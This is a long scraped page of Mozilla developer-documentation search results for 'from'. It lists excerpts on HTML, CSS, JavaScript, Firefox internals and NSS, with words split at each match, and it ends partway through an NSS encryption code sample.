Plug-in Development Overview - Gecko Plugin API Reference
you can use a variety of environments to create a plug-in, but make sure that you have the necessary files
from the plugin sdk.
...also see making plug-ins scriptable for more information about making plug-ins accessible
from the browser.
...the data can come
from either an object element in an html file (where the object or embed element either specifies the mime type directly or references a file of that type),
from a separate non-html file of that mime type, or
from the server.
...And 15 more matches
HTML: A good basis for accessibility - Learn web development
semantic html doesn't take any longer to write than non-semantic (bad) markup if you do it consistently
from the start of your project.
... even better, semantic markup has other benefits beyond accessibility: easier to develop with — as mentioned above, you get some functionality for
free, plus it is arguably easier to understand.
... sometimes you are not in the position to get rid of lousy markup — your pages might be generated by some kind of server-side
framework over which you don't have full control, or you might have third party content on your page (such as ad banners) over which you have no control.
...And 15 more matches
HTML: A good basis for accessibility - Learn web development
semantic html doesn't take any longer to write than non-semantic (bad) markup if you do it consistently
from the start of your project.
... even better, semantic markup has other benefits beyond accessibility: easier to develop with — as mentioned above, you get some functionality for
free, plus it is arguably easier to understand.
... sometimes you are not in the position to get rid of lousy markup — your pages might be generated by some kind of server-side
framework over which you don't have full control, or you might have third party content on your page (such as ad banners) over which you have no control.
...And 15 more matches
Introduction to CSS layout - Learn web development
let's look at a quick html example: <p>i love my cat.</p> <ul> <li>buy cat food</li> <li>exercise</li> <li>cheer up
friend</li> </ul> <p>the end!</p> by default, the browser will display this code as follows: note here how the html is displayed in the exact order in which it appears in the source code, with elements stacked up on top of one another — the first paragraph, followed by the unordered list, followed by the second paragraph.
... in addition to being able to change the default presentation by turning an item
from block to inline and vice versa, there are some bigger layout methods that start out as a value of display.
...we've defined three columns each of 1
fr and two rows of 100px.
...And 15 more matches
How much does it cost to do something on the Web? - Learn web development
many editors are
free, for example atom, brackets, bluefish, textwrangler, eclipse, netbeans, and visual studio code.
...some of them, like microsoft visual studio, can cost hundreds, or thousands of dollars; though visual studio express is
free for individual developers or open source projects.
...for example, sublime text is cheap, but comes with many
free plugins that can greatly extend its functionality.
...And 15 more matches
What is JavaScript? - Learn web development
in this article we will look at javascript
from a high level, answering questions such as "what is it?" and "what can you do with it?", and making sure you are comfortable with javascript's purpose.
... browser apis are built into your web browser, and are able to expose data
from the surrounding computer environment, or do useful complex things.
... audio and video apis like htmlmediaelement and webrtc allow you to do really interesting things with multimedia, such as play audio and video right in a web page, or grab video
from your web camera and display it on someone else's computer (try our simple snapshot demo to get the idea).
...And 15 more matches
Aprender y obtener ayuda - Learn web development
there are also are times when you'll get stuck and feel
frustrated — even professional web developers feel like this regularly — and it pays to know about the most effective ways to try and get help so you can progress in your work.
...
from the studies that neuroscientists have done on brain activity, we have found out that you can't really engage in both ways of learning — or thinking — at once.
... let's say you focus on problem c for a while and get
frustrated because you can't think how to solve it.
...And 15 more matches
Ember interactivity: Events, classes and state - Learn web development
previous overview: client-side javascript
frameworks next at this point we'll start adding some interactivity to our app, providing the ability to add and display new todo items.
...as you may expect
from dealing with vanilla javascript objects, the this keyword refers to the "context" or "scope" of the component.
... one component's this will be different
from another component's this.
...And 15 more matches
Introducing a complete toolchain - Learn web development
we'll go all the way
from setting up a sensible development environment and putting transformation tools in place to actually deploying your app on netlify.
... introducing our case study the toolchain that we are creating in this article will be used to build and deploy a mini site that lists data (taken
from one of nasa's open apis) concerning potentially hazardous space objects that threaten our existence on earth!
...you would handcode the html, use "vanilla javascript" (meaning no
frameworks or intermediary languages), and manually upload it all to a server for hosting.
...And 15 more matches
mach
mach (german for to make) is a program via the "command-line interface" to help developers perform installation tasks such as installing firefox
from its c++ source code.
... requirements mach requires a current version of /mozilla-central/ (or a tree derived
from there).
... running
from the root of the source tree checkout, you should just be able to type: $ ./mach if all is well, you should see a help message.
...And 15 more matches
Localizing with Koala
creating a new project create a new koala project by going to file > new > new project
from template...
...included locale: en-us (this is the original locale you're translating
from).
...koala will now try to clone the en-us source repository
from http://hg.mozilla.org/releases/mozilla-1.9.2.
...And 15 more matches
Power profiling overview
intel processor basics processor layout the following diagram (
from the intel power governor documentation) shows how machines using recent intel processors are constructed.
...these are part of the actual processor that you buy
from intel.
... ram is separate
from the processor.
...And 15 more matches
NSS tools : signtool
for example, a commercial software developer might sign the files that constitute a software product to prove that the files are indeed
from a particular company.
... for example, if you are a software developer, you should test your code to make sure it is virus-
free before signing it.
... similarly, if you are a network administrator, you should make sure, before signing any code, that it comes
from a reliable source and will run correctly with the software installed on the machines to which you are distributing it.
...And 15 more matches
Creating the Component Code
what we'll be working on the component we'll be working on in this book controls a special mode in your browser that prevents users
from leaving the current domain or a set of safe domains.
...when it is copied there, run regxpcom
from the command line to register that component and all the others in that directory.
...
from the innermost and moving outward, the first object is the xpcom object.
...And 15 more matches
mozIStorageValueArray
the mozistoragevaluearray interface obtains provides methods to obtain data
from a given result.
... last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits
from: nsisupports method overview long gettypeofindex(in unsigned long aindex); long getint32(in unsigned long aindex); long long getint64(in unsigned long aindex); double getdouble(in unsigned long aindex); autf8string getutf8string(in unsigned long aindex); astring getstring(in unsigned long aindex); void getblob(in unsigned long aindex, out unsigned long adatasize, [array,size_is(adatasize)] out octet adata); boolean getisnull(in unsigned long aindex)...
... long gettypeofindex( in unsigned long aindex ); parameters aindex the zero-based numerical index for the column to get the data
from.
...And 15 more matches
nsIJSON
dom/interfaces/json/nsijson.idlscriptable this interface provides a convenient way to encode and decode json strings
from javascript code.
... 1.0 66 introduced gecko 1.9 inherits
from: nsisupports last changed in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) note: this interface may only be used
from javascript code, with the exception of the legacydecodetojsval() method.
... jsobject decode
fromstream(in nsiinputstream stream, in long contentlength); astring encode(in jsobject value); obsolete since gecko 7.0 astring encode
fromjsval(in jsvaljsval value, in jscontext cx); native code only!
...And 15 more matches
Plug-in Development Overview - Plugins
you can use a variety of environments to create a plug-in, but make sure that you have the necessary files
from the plugin sdk.
...also see making plug-ins scriptable for more information about making plug-ins accessible
from the browser.
...the data can come
from either an object element in an html file (where the object or embed element either specifies the mime type directly or references a file of that type),
from a separate non-html file of that mime type, or
from the server.
...And 15 more matches
Using channel messaging - Web APIs
the channel messaging api allows two separate scripts running in different browsing contexts attached to the same document (e.g., two i
frames, or the main document and an i
frame, or two documents via a sharedworker) to communicate directly, passing messages between one another through two-way channels (or pipes) with a port at each end.
... use cases channel messaging is mainly useful in cases where you've got a social site that embeds capabilities
from other sites into its main interface via i
frames, such as games, address book, or an audio player with personalized music choices.
... when these act as standalone units, things are ok, but the difficulty comes when you want interaction between the main site and the i
frames, or the different i
frames.
...And 15 more matches
Document - Web APIs
properties this interface also inherits
from the node and eventtarget interfaces.
... document.body returns the <body> or <
frameset> node of the current document.
... document.contenttype read only returns the content-type
from the mime header of the current document.
...And 15 more matches
A basic 2D WebGL animation example - Web APIs
its job, as always, is to convert the coordinates we're using for our scene into clipspace coordinates (that is, the system by which (0, 0) is at the center of the context and each axis extends
from -1.0 to 1.0 regardless of the actual size of the context).
...
fragment shader next comes the
fragment shader.
...since we're drawing a solid, untextured object with no lighting applied, this is exceptionally simple: <script id="
fragment-shader" type="x-shader/x-
fragment"> #ifdef gl_es precision highp float; #endif uniform vec4 uglobalcolor; void main() { gl_
fragcolor = uglobalcolor; } </script> this starts by specifying the precision of the float type, as required.
...And 15 more matches
Line-based placement with CSS Grid - CSS: Cascading Style Sheets
the lines are numbered for columns and rows, and are indexed
from 1.
... * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(3, 1
fr); grid-template-rows: repeat(3, 100px); } <div class="wrapper"> <div class="box1">one</div> <div class="box2">two</div> <div class="box3">three</div> <div class="box4">four</div> </div> positioning items by line number we can use line-based placement to control where these items sit on the grid.
...one of the very nice things about grid layout is this ability to have white space in our designs without having to push things around using margins to prevent floats
from rising up into the space we have left.
...And 15 more matches
HTML attribute reference - HTML: Hypertext Markup Language
align <applet>, <caption>, <col>, <colgroup>, <hr>, <i
frame>, <img>, <table>, <tbody>, <td>, <tfoot> , <th>, <thead>, <tr> specifies the horizontal alignment of the element.
... allow <i
frame> specifies a feature-policy for the i
frame.
... capture <input>
from the html media capturethe definition of 'media capture' in that specification.spec, specifies a new file can be captured.
...And 15 more matches
HTML elements reference - HTML: Hypertext Markup Language
<bdi> the html bidirectional isolate element (<bdi>) tells the browser's bidirectional algorithm to treat the text it contains in isolation
from its surrounding text.
... <code> the html <code> element displays its contents styled in a fashion intended to indicate that the text is a short
fragment of computer code.
... <i> the html idiomatic text element (<i>) represents a range of text that is set off
from the normal text for some reason, such as idiomatic text, technical terms, taxonomical designations, among others.
...And 15 more matches
Proxy Auto-Configuration (PAC) file - HTTP
in chrome (versions 52 to 73), you can disable this by setting pachttpsurlstrippingenabled to false in policy or by launching with the --unsafe-pac-url command-line flag (in chrome 74, only the flag works, and
from 75 onward, there is no way to disable path-stripping; as of chrome 81, path-stripping does not apply to http urls, but there is interest in changing this behavior to match https); in firefox, the preference is network.proxy.autoconfig_url.include_path.
... host the hostname extracted
from the url.
...it can be extracted
from the url when necessary.
...And 15 more matches
Array - JavaScript
setting or accessing via non-integers using bracket notation (or dot notation) will not set or retrieve an element
from the array list itself, but will set or access a variable associated with that array's object property collection.
... common operations create an array let
fruits = ['apple', 'banana'] console.log(
fruits.length) // 2 access an array item using the index position let first =
fruits[0] // apple let last =
fruits[
fruits.length - 1] // banana loop over an array
fruits.foreach(function(item, index, array) { console.log(item, index) }) // apple 0 // banana 1 add an item to the end of an array let newlength =
fruits.push('orange') // ["apple", "banana", "orange"] remove an item
from the end of an array let last =
fruits.pop() // remove orange (
from the end) // ["apple", "banana"] remove an item
from the beginning of an array let...
... first =
fruits.shift() // remove apple
from the
front // ["banana"] add an item to the beginning of an array let newlength =
fruits.unshift('strawberry') // add to the
front // ["strawberry", "banana"] find the index of an item in the array
fruits.push('mango') // ["strawberry", "banana", "mango"] let pos =
fruits.indexof('banana') // 1 remove an item by index position let removeditem =
fruits.splice(pos, 1) // this is how to remove an item // ["strawberry", "mango"] remove items
from an index position let vegetables = ['cabbage', 'turnip', 'radish', 'carrot'] console.log(vegetables) // ["cabbage", "turnip", "radish", "carrot"] let pos = 1 let n = 2 let removeditems = vegetables.splice(pos, n) // this is how to remove items, n defines the number of items to be removed, // sta...
...And 15 more matches
d - SVG: Scalable Vector Graphics
0% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <path fill="none" stroke="red" d="m 10,10 h 10 m 0,10 h 10 m 0,10 h 10 m 40,20 h 10 m 0,10 h 10 m 0,10 h 10 m 0,10 h 10 m 50,50 h 10 m-20,10 h 10 m-20,10 h 10 m-20,10 h 10" /> </svg> lineto path commands lineto instructions draw a straight line
from the current point (po; {xo, yo}) to the end point (pn; {xn, yn}), based on the parameters specified.
... command parameters notes l (x, y)+ draw a line
from the current point to the end point specified by x,y.
... formula: po′ = pn = {x, y} l (dx, dy)+ draw a line
from the current point to the end point, which is the current point shifted by dx along the x-axis and dy along the y-axis.
...And 15 more matches
Interacting with page scripts - Archive of obsolete content
by default, content scripts loaded by add-ons and scripts loaded by web pages are insulated
from each other: content scripts can't interact directly with page scripts or access javascript objects they create page scripts can't interact directly with content scripts or access objects they create.
...e objects between content scripts and page scripts how to send messages between content scripts and page scripts sharing objects with page scripts there are two possible cases here: a content script might want to access an object defined by a page script a content script might want to expose an object to a page script access objects defined by page scripts to access page script objects
from content scripts, you can use the global unsafewindow object.
... in this example a page script adds a string variable foo to the window: <!doctype html"> <html> <head> <script> window.foo = "hello
from page script" </script> </head> </html> the content script can see this object if it uses unsafewindow.foo instead of window.foo: // main.js var tabs = require("sdk/tabs"); var mod = require("sdk/page-mod"); var self = require("sdk/self"); var pageurl = self.data.url("page.html") var pagemod = mod.pagemod({ include: pageurl, contentscript: "console.log(unsafewindow.foo);" }) tabs.open(pageurl); be careful using unsafewind...
...And 14 more matches
ui/sidebar - Archive of obsolete content
if a new window is opened
from a window that has a sidebar visible, the new window gets a sidebar, too.
...
from firefox 33 onwards you can pass a browserwindow into these methods, and they will then operate on the specified window.
... to show what a sidebar looks like, here's a sidebar that displays the results of running the w3c validator on the current page: specifying sidebar content the content of a sidebar is specified using html, which is loaded
from the url supplied in the url option to the sidebar's constructor.
...And 14 more matches
Interaction between privileged and non-privileged pages - Archive of obsolete content
sending data
from unprivileged document to chrome an easy way to send data
from a web page to an extension is by using custom dom events.
... var myextension = { mylistener: function(evt) { alert("received
from web page: " + evt.target.getattribute("attribute1") + "/" + evt.target.getattribute("attribute2")); } } document.addeventlistener("myextensionevent", function(e) { myextension.mylistener(e); }, false, true); // the last value is a mozilla-specific value to indicate untrusted content is allowed to trigger the event.
... the data
from the web page (unprivileged code) will be the values of attribute1 and attribute2.
...And 14 more matches
Setting Up a Development Environment - Archive of obsolete content
it's
free, open source, and cross-platform.
...in cygwin installations you'll have to explicitly check the make and zip utilities
from the long list of packages to download and install.
... build system let's start by downloading the project used to build the second version of hello world,
from the exercise in the last section.
...And 14 more matches
An Interview With Douglas Bowman of Wired News - Archive of obsolete content
the new design clearly shows what some experts have been saying: that standards-based design can be visually compelling and preserve the interface conventions we've come to expect
from web pages.
...this includes rules and guidelines applying to everything
from headers, footers, page hierarchy, titles, typography, iconography, navigation, and others.
... the html went
from 32 kb down to 19 kb, but images increased
from 8 to 13 kb.
...And 14 more matches
XUL Questions and Answers - Archive of obsolete content
return to mozilla-dev-tech-xul summaries the
frequently asked questions should be moved to xul faq (make sure they have a clear answer.) where can i get more information about creating mozsearch plugins?
... support for non-rdf datasources for xul template is planned (bug 321170): xml datasources (bug 321171) storage (sqlite) datasources (bug 321172) when loading an xslt stylesheet into an xml i get the error: "error loading stylesheet: an xslt stylesheet load was blocked for security reasons." that error is
from a security check that has been put up to safeguard against cross-site-scripting attacks.
... using the "icon" attribute on a button
from xulplanet.com reference: this attribute should be used to set the usage for common buttons.
...And 14 more matches
Mozilla release FAQ - Archive of obsolete content
this document may be distributed and modified
freely.
...the project is maintained by employees of netscape (now a division of aol), red hat, some other companies, as well as contributors
from the community.
...if built
from cvs, the date of the cvs checkout is the best way to refer to the version, otherwise use the release number.
...And 14 more matches
GLSL Shaders - Game development
there are two types of shaders: vertex shaders and
fragment (pixel) shaders.
...
fragment shaders compute the renderings of a shape's colors and other attributes.
... as you may remember
from the basic theory article, a vertex is a point in a 3d coordinate system.
...And 14 more matches
CSS values and units - Learn web development
note: yes, css values tend to be denoted using angle brackets, to differentiate them
from css properties (e.g.
... let's have a look at some of the types of value and unit you may
frequently encounter, with examples so that you can try out different possible values.
... <number> a <number> represents a decimal number — it may or may not have a decimal point with a
fractional component, for example 0.255, 128, or -1.2.
...And 14 more matches
Positioning - Learn web development
we'd like you to follow along with the exercises on your local computer, if possible — grab a copy of 0_basic-flow.html
from our github repo (source code here) and use that as a starting point.
...what if you want to slightly alter the position of some boxes inside a layout
from their default layout flow position, to give a slightly quirky, distressed feel?
...</p> now add the following rule to the bottom of your css: .positioned { position: static; background: yellow; } if you now save and re
fresh, you'll see no difference at all, except for the updated background color of the 2nd paragraph.
...And 14 more matches
Introduction to automated testing - Learn web development
inside this section we'll look at how to automate task running with node and gulp, a beginner-
friendly option.
... setting up node and npm most tools these days are based on node.js, so you'll need to install it
from nodejs.org: download the installer for your system
from the above site.
...to update node, the most reliable way is to download and install an updated installer package
from their website (see link above).
...And 14 more matches
Setting up your own test automation environment - Learn web development
most popular environments have available a package or
framework that will install webdriver and the bindings required to communicate with webdriver using this language, for example, java, c#, ruby, python, javascript (node), etc.
...see platforms supported by selenium for more information on where to get browser drivers
from, etc.
... we will cover writing and running selenium tests using node.js, as it is quick and easy to get started, and a more familiar environment for
front end devs.
...And 14 more matches
How Mozilla's build system works
the file is generated
from a file called configure.in, which is written in m4 and processed using autoconf 2.13 to create the final configure script.
...however, mozilla's config.status is different
from many other config.status files, as it's written in python!
...altogether, 1,276 data structures describing the build configuration were derived
from them.
...And 14 more matches
Performance
this highlights some performance pitfalls related to
frame scripts/message manager usage and alternative approaches to avoid them.
...
frame scripts also get executed on non-restored tabs.
... performance best practices declaring stateless functions once per process bad: // addon.js services.mm.load
framescript("
framescript.js", true) //
framescript.js const precomputedconstants = // ...
...And 14 more matches
Process scripts
when you need to run code in the content process in order to access web content, then you should use
frame scripts.
... however, a problem with
frame scripts is that they can be loaded multiple times in the content process, in multiple scopes that are insulated
from each other.
... for example, if you call the global
frame message manager's load
framescript() function, then the script will be loaded separately into all open tabs.
...And 14 more matches
Message manager overview
at the top level, there are two different sorts of message managers:
frame message managers: these enable chrome process code to load a script into a browser
frame (essentially, a single browser tab) in the content process.
... these scripts are called
frame scripts, and as the name suggests, they are scoped to a specific browser
frame.
...
from firefox 38 onwards, they also enable code running in the parent process to load process scripts into the child process.
...And 14 more matches
An overview of NSS Internals
it's
free and open source software, and many other software projects have decided to use it.
... a core element of nss is
freebl, a base library providing hash functions, big number calculations, and cryptographic algorithms.
... softoken is an nss module that exposes most
freebl functionality as a pkcs#11 module.
...And 14 more matches
NSS Tools certutil
starting
from nss 3.35, the database format was upgraded to support sqlite as described in this document.
... -c create a new binary certificate file
from a binary certificate-request file.
... -f delete a private key
from a key database.
...And 14 more matches
SpiderMonkey Internals
a js-to-js function call pushes a javascript stack
frame without growing the c stack.
...both guest-star in jsinterp.cpp (to thunderous applause
from firefox users).
...it translates postfix bytecode into infix source by consulting a separate byte-sized code, called source notes, to disambiguate bytecodes that result
from more than one grammatical production.
...And 14 more matches
SpiderMonkey 1.8.5
multithreaded programs are allowed, but each thread must operate on objects in a separate compartment, isolated
from the other threads.
...spidermonkey 1.8.5 includes a new configure-based build system, introduced shortly after active development on the engine moved
from cvs to mercurial.
... the type of setters has changed
from jspropertyop to jsstrictpropertyop (to accomodate es5 strict mode).
...And 14 more matches
Places utilities for JavaScript
its not an interface, and as such it will never be
frozen, but it provides some easy to use functions that can save you
from reinventing the wheel and cluttering up your own classes/functions when you need it.
... post_data_anno - i need to clarify here, but i think this is the name of the annotation that stores information for keyword searches
from a bookmark.
... warning : placesutils class since firefox 3 beta 5 has been split into: placesutils: can be used in any toolkit application placesuiutils: only in firefox placesutils this is a gigantic object full of usefulness if you need to do any bookmark work
from within browser.xul.
...And 14 more matches
imgIEncoder
1.0 66 introduced gecko 1.8 inherits
from: nsiasyncinputstream last changed in gecko 1.9 (firefox 3) method overview void addimage
frame( [array, size_is(length), const] in pruint8 data, in unsigned long length, in pruint32 width, in pruint32 height, in pruint32 stride, in pruint32
frameformat, in astring
frameoptions); void encodeclipboardimage(in nsiclipboardimage aclipboardimage, out nsifile aimagefile); obsolete since gecko 1.9 void endimageencode(); void init
fromdata([array, size_is(length), const] in pruint8 data, in unsigned long length, in pruint32 width, in pruint32 height, in pruint32 stride, in pruint32 inputformat, in astring outputoptions); ...
... png: ---- transparency=[yes|no|none] -- default: "yes" overrides default
from input format.
... apng: ----- the following options can be used with startimageencode(): transparency=[yes|no|none] -- default: "yes" overrides default
from input format.
...And 14 more matches
nsIInputStream
inherits
from: nsisupports last changed in gecko 17.0 (firefox 17.0 / thunderbird 17.0 / seamonkey 2.14) an input stream may be "blocking" or "non-blocking" (see the isnonblocking() method).
...that enables the caller to know the condition of the stream before attempting to read
from it.
... native code only!read this method copies data
from the stream into a buffer.
...And 14 more matches
XPIDL
constants constants are technically legal at the top level, but xpidl i forbids them
from being placed there; instead, they must be in an interface.
...furthermore, interfaces can also inherit
from another interface.
...however, it is generally not recommended to have a chain of interfaces inheriting
from each other if you intend to have a chain of implementations for each interface, as it can cause problems in c++ code.
...And 14 more matches
Waterfall - Firefox Developer Tools
so if you see a sign of a performance problem - a drop in the
frame rate, for example - you can go to the waterfall to see what the browser was doing at that point in the recording.
... javascript functions executed in the page are labeled with the reason the function was called: script tag setinterval settimeout requestanimation
frame promise callback promise init worker javascript uri event handler stack call stack, with links to functions.
...if this is inside a callback
from a promise, this will also show the "async stack".
...And 14 more matches
BasicCardResponse - Web APIs
request.show().then(function(instrumentresponse) { // do something with the response
from the ui.
... }) .catch(function(err) { // do something with the error
from request.show().
... browser compatibility the compatibility table on this page is generated
from structured data.
...And 14 more matches
In depth: Microtasks and the JavaScript runtime environment - Web APIs
when a
fragment of javascript code runs, it runs inside an execution context.
...this is
frequently referred to as a "local context." using the ill-advised eval() function also creates a new execution context.
...when it exits, the context is removed
from the context stack.
...And 14 more matches
Visualizations with Web Audio API - Web APIs
one of the most interesting features of the web audio api is the ability to extract
frequency, waveform, and other data
from your audio source, which can then be used to create visualizations.
... basic concepts to extract data
from your audio source, you need an analysernode, which is created using the audiocontext.createanalyser() method, for example: var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var analyser = audioctx.createanalyser(); this node is then connected to your audio source at some point between your source and your destination, for example: source = audioctx.createmediastreamsource(stream); source.connect(analyser); analyser.connect(distortion); distortion.connect(audioctx.destination); note: you don't need to connect the analyser's output to another node for it to work...
... the analyser node will then capture audio data using a fast fourier transform (fft) in a certain
frequency domain, depending on what you specify as the analysernode.fftsize property value (if no value is specified, the default is 2048.) note: you can also specify a minimum and maximum power value for the fft data scaling range, using analysernode.mindecibels and analysernode.maxdecibels, and different data averaging constants using analysernode.smoothingtimeconstant.
...And 14 more matches
WindowOrWorkerGlobalScope.setInterval() - Web APIs
this.rate); btyping = true; }; this.pause = function () { clearinterval(nintervid); btyping = false; }; this.terminate = function () { ocurrent.nodevalue += spart; spart = ""; for (nidx; nidx < asheets.length; scroll(asheets[nidx++], 0, false)); clean(); }; } /* usage: */ var otwexample1 = new typewriter(/* elements: */ '#article, h1, #info, #copyleft', /*
frame rate (optional): */ 15); /* default
frame rate is 100: */ var otwexample2 = new typewriter('#controls'); /* you can also change the
frame rate value modifying the "rate" property; for example: */ // otwexample2.rate = 150; onload = function () { otwexample1.play(); otwexample2.play(); }; </script> <style type="text/css"> span.intlink, a, a:visited { cursor: pointer; color: #000000; ...
...veloper.mozilla.org/" target="_blank">mozilla developer network</a></p> <p id="controls" style="text-align: center;">[ <span class="intlink" onclick="otwexample1.play();">play</span> | <span class="intlink" onclick="otwexample1.pause();">pause</span> | <span class="intlink" onclick="otwexample1.terminate();">terminate</span> ]</p> <div id="info"> vivamus blandit massa ut metus mattis in
fringilla lectus imperdiet.
...pellentesque placerat enim at lacus ultricies vitae facilisis nisi
fringilla.
...And 14 more matches
@font-feature-values - CSS: Cascading Style Sheets
browser compatibility the compatibility table on this page is generated
from structured data.
...era for androidsafari on iossamsung internet@font-feature-valueschrome no support noedge no support nofirefox full support 34 full support 34 full support 24disabled disabled
from version 24: this feature is behind the layout.css.font-features.enabled preference (needs to be set to true).
...port 9.1webview android no support nochrome android no support nofirefox android full support 34 full support 34 full support 24disabled disabled
from version 24: this feature is behind the layout.css.font-features.enabled preference (needs to be set to true).
...And 14 more matches
The "codecs" parameter in common media types - Web media technologies
however, many media types—especially those that support video tracks—can benefit
from the ability to more precisely describe the format of the data within them.
...this value defines the function used to map the gamma (delightfully called the "opto-electrical transfer function" in technical parlance)
from the source to the display.
... all fields
from m (monochrome flag) onward are optional; you may stop including fields at any point (but can't arbitrarily leave out fields).
...And 14 more matches
JavaScript Daemons Management - Archive of obsolete content
the following daemons management
framework is the major version of setinterval – a little
framework.
...so the minidaemon
framework will remain the recommended way for simple animations, because daemon without its collection of methods is essentially a clone of it.
... advantages of this approch: abstraction passage of this object to javascript timers (both setinterval and settimeout) optimisation (avoiding closures) modularity the code the code of this
framework is split into three files: daemon.js (the core) daemon-safe.js (an extension of the core which adds a replacement of setinterval with a recursive invocation of settimeout) daemon-methods.js (a wide and highly scalable collection of methods) the only independent module is daemon.js: both the daemon-safe.js module and the daemon-methods.js module require daemon.js to work.
...And 13 more matches
Chapter 4: Using XPCOM—Implementing advanced processes - Archive of obsolete content
about xpcom xpcom is a
framework for developing platform-independent components.
... components developed in line with that
framework are referred to as xpcom components, and sometimes the components are simply referred to as xpcoms.
... reference materials to get an idea of what kinds of functions embedded xpcom can handle, take a look at the api reference and the interface definitions
from xpidl in the actual source code.
...And 13 more matches
Nanojit - Archive of obsolete content
a compiler's lir is typically one of several partly-compiled representations of a program that a compiler produces on the way
from raw source code to machine code.
... once the instructions are in the lirbuffer, the application calls nanojit::compile() to produce machine code, which is stored in a nanojit::
fragment.
... internally to nanojit, another set of filters operates on the lir as it passes
from the lirbuffer toward the assembler.
...And 13 more matches
Using XPInstall to Install Plugins - Archive of obsolete content
extension, theme, and plug-in developers must switch away
from install.js based packages to the new packaging scheme with an install.rdf manifest.
...smartupdate differs
from xpinstall in that: xpinstall uses zip files named xpi files (*.xpi) and smartupdate uses jar files (*.jar) unlike a smartupdate jar file, xpi packages do not have to be digitally signed with a code-signing certificate.
... xpi packages make use of different apis
from within install.js, although the concept is the same.
...And 13 more matches
Splitters - Archive of obsolete content
an example is the mozilla browser window, where you can change the size of the sidebar panel by dragging the bar in-between the two
frames.
...set this to farthest to have the element that is the farthest away
from the splitter to the left resize.
...set this to farthest to have the element that is the farthest away
from the splitter to the right resize.
...And 13 more matches
Templates - Archive of obsolete content
populating elements xul provides a method in which we create elements
from data supplied by rdf, either
from an rdf file or
from an internal datasource.
... this example and any others that reference internal rdf datasources will only work if you load them
from a chrome url.
... for security reasons, mozilla doesn't allow access to them
from other sources.
...And 13 more matches
Extentsions FAQ - Archive of obsolete content
return to mozilla-dev-extensions faq
friday, september 22 - 29, 2006 (↑ top) how to write an xpcom component in c++ that can communicate to a com component?
...just drag them there
from the toolbar customisation window, like you would when adding buttons to the toolbars." option #4 install toolbar control <http://webdesigns.ms11.net/chromeditp.html> asking for help with getting an extension to process windows messages.
...
friday, september 29 - october 6, 2006 (↑ top) is there anyway, via plugin or extension, for firefox to mimic the functionality of ie in this respect?
...And 13 more matches
The Business Benefits of Web Standards - Archive of obsolete content
site wide consistent look and feel by separating structure (or content)
from presentation, web designers have a lot to gain.
...strict html (as opposed to the often-used transitional html markup), forces the designer not to use presentation tags in the html documents, naturally enforcing the separation of content
from presentation.
...separating presentation
from content increases the information/markup ratio, making css-based documents more pertinent with regard to the search terms, which makes them rank higher in search results.
...And 13 more matches
How to build custom form controls - Learn web development
this is especially true in a team environment when the people who design the control's behavior are different
from the ones who implement it.
...remember, if you want to provide the same functionality as the existing native <select>, it should behave the exact same way as the select for all users,
from keyboard to mouse to touch to screen reader, and any other input device.
...however, you should feel
free to experiment and see what you can come up with.
...And 13 more matches
The web and web standards - Learn web development
these two technologies form the basis of the in
frastructure that the internet is built on.
... one last significant data point to share is that in 1994, timbl founded the world wide web consortium (w3c), an organization that brings together representatives
from many different technology companies to work together on the creation of web technology specifications.
... web standards are created by standards bodies — institutions that invite groups of people
from different technology companies to come together and agree on how the technologies should work in the best way to fulfill all of their use cases.
...And 13 more matches
Graceful asynchronous programming with Promises - Learn web development
the application has a window with a list of the user's
friends, and clicking on a button next to a user starts a video call to that user.
... since the call to getusermedia() is made
from the browser's main thread, the entire browser is blocked until getusermedia() returns!
...so instead of waiting for the user, getting the chosen devices enabled, and directly returning the mediastream for the stream created
from the selected sources, getusermedia() returns a promise which is resolved with the mediastream once it's available.
...And 13 more matches
React interactivity: Events and state - Learn web development
previous overview: client-side javascript
frameworks next with our component plan worked out, it's now time to start updating our app
from a completely static ui to one that actually allows us to interact and change things.
... we want our handlesubmit() function to ultimately help us create a new task, so we need a way to pass information
from <form /> to <app />.
... we can't pass data
from child to parent in the same way as we pass data
from parent to child using standard props.
...And 13 more matches
Getting started with Vue - Learn web development
previous overview: client-side javascript
frameworks next now let's introduce vue, the third of our
frameworks.
... a clearer vue vue is a modern javascript
framework that provides useful facilities for progressive enhancement — unlike many other
frameworks, you can use vue to enhance existing html.
...like most
frameworks, vue lets you create reusable blocks of markup via components.
...And 13 more matches
Accessibility API cross-reference
fill out tagged pdf column (relevant documents
from pdf association) add missing aria properties fill out events cross reference table use this info to expand mozilla's accessibility api coverage to include mac, so that we can start to
freeze them talk about the fact that msaa uses one interface (iaccessible), wherease gnome accessibility uses a lot of different interfaces depending on the type of object go through the atk info and make sur...
...aria role denotes interactive (not browsable) content operable in ways that differ
from any of the other interactive aria roles, and may be only a part of the main document.
... application
frame n/a application see <div> and <nonstruct> a region that contains mostly site-oriented content, rather than page-specific content.
...And 13 more matches
IPDL Tutorial
the ipdl compiler generates several c++ headers
from each ipdl protocol.
...two messages can be sent
from the parent to the child, init() and shutdown().
... one message can be sent
from the child to the parent, ready().
...And 13 more matches
Application Translation with Mercurial
either translate a different product now or contact the person responsible for localization
from the team's page (see above) so he can notify you by mail when the next strings for translation become available.
... required tools build pre-requisites first, get the required programs to compile mozilla applications like firefox and thunderbird
from build instructions.
...mozilla-aurora.hg)
from https://ftp.mozilla.org/pub/mozilla.org/firefox/bundles/ the file is not small, but after initially downloading it, you only need to download the latest changes in the future.
...And 13 more matches
Encrypt Decrypt MAC Keys As Session Objects
pr_fprintf(outfile, "%s\n\n", trailer); return secsuccess; } /* * initialize for encryption or decryption - common code */ pk11context * cryptinit(pk11symkey *key, unsigned char *iv, unsigned int ivlen, ck_mechanism_type type, ck_attribute_type operation) { secitem ivitem = { sibuffer, iv, ivlen }; pk11context *ctx = null; secitem *secparam = pk11_param
fromiv(ckm_aes_cbc, &ivitem); if (secparam == null) { pr_fprintf(pr_stderr, "crypt failed : secparam null\n"); return null; } ctx = pk11_createcontextbysymkey(ckm_aes_cbc, operation, key, secparam); if (ctx == null) { pr_fprintf(pr_stderr, "crypt failed : can't create a context\n"); goto cleanup; } cleanup: if (secparam) { secitem_
